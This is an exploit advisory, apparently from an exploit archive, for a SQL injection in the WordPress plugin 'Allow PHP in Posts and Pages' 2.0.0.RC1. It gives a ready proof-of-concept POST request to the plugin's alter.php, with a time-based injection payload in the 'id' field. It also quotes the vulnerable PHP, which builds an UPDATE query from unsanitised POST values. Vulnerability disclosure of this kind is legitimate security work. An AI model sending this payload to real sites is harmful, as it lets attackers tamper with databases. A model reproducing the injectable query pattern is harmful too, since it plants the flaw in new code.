WordPress Plugin Allow PHP in Posts and Pages 2.0.0.RC1 - SQL Injection

# Exploit Title: WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/allow-php-in-posts-and-pages.zip
# Version: 2.0.0.RC1 (tested)

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PoC (POST data)
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http://www.site.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
 allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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    if(!isset($_POST['allowPHPNonce'])){
        if ( !wp_verify_nonce( $_POST['allowPHPNonce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
    }
    else{
        if(!isset($_POST['action']) || !defined ('ABSPATH')){header("location:".$refer);}
        if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
        if(isset($_POST['function'])){$function = $_POST['function'];}else{$function="";}
        if(isset($_POST['name'])){$name = $_POST['name'];}else{$name="";}
        $action = $_POST['action'];

		#delete
        if($action == "delete"){

        ...

        elseif($action == "modify" && $function != ""){
            $sql = "update ".$wpdb->prefix."allowPHP_functions set function='".$function."', name='".$name."' where id = ".$id;
            $results = $wpdb->get_results($wpdb->prepare($sql));